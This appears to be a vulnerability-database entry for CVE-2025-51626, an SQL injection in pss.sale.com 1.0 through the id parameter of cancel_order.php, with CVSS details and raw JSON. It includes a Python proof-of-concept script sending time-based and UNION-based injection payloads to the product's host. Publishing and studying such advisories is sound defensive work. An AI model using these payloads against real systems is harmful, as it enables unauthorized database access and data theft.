Security Vulnerability Report
中文
CVE-2025-51626 CVSS 6.5 MEDIUM

CVE-2025-51626

Published: 2026-01-09 21:16:13
Last Modified: 2026-01-22 21:41:13

Description

SQL injection vulnerability in pss.sale.com 1.0 via the id parameter to the userfiles/php/cancel_order.php endpoint.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:xiaoliuchu:pss.sale.com:1.0:*:*:*:*:*:*:* - VULNERABLE
pss.sale.com 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-51626 SQL Injection PoC # Target: pss.sale.com # Endpoint: /userfiles/php/cancel_order.php # Parameter: id import requests import sys def exploit_sqli(target_url, payload): """Send SQL injection payload to vulnerable endpoint""" params = {'id': payload} try: response = requests.get( f"{target_url}/userfiles/php/cancel_order.php", params=params, timeout=10 ) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" def basic_auth_bypass(): """Basic PoC to verify SQL injection vulnerability""" target = "http://pss.sale.com" # Test payload - causes time delay payload = "1' AND SLEEP(5)-- -" print(f"[*] Testing SQL injection with payload: {payload}") result = exploit_sqli(target, payload) print(f"[*] Response received: {len(result)} bytes") def data_extraction(): """Extract database version information""" target = "http://pss.sale.com" # UNION-based injection to extract version payload = "1' UNION SELECT NULL,@@version-- -" print(f"[*] Extracting database version...") result = exploit_sqli(target, payload) print(f"[*] Result: {result}") if __name__ == "__main__": print("CVE-2025-51626 SQL Injection PoC") basic_auth_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-51626", "sourceIdentifier": "[email protected]", "published": "2026-01-09T21:16:13.217", "lastModified": "2026-01-22T21:41:12.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection vulnerability in pss.sale.com 1.0 via the id parameter to the userfiles/php/cancel_order.php endpoint."}, {"lang": "es", "value": "Vulnerabilidad de inyección SQL en pss.sale.com 1.0 a través del parámetro id al endpoint userfiles/PHP/cancel_order.PHP."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xiaoliuchu:pss.sale.com:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E0993270-FC29-4F62-996C-6B863F234B23"}]}]}], "references": [{"url": "https://gist.github.com/hnking-star/17d4c9c990c2324ef109fecb4fc4630c", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/XiaoLiuChu/pss.sale.com/tree/master", "source": "[email protected]", "tags": ["Product"]}]}}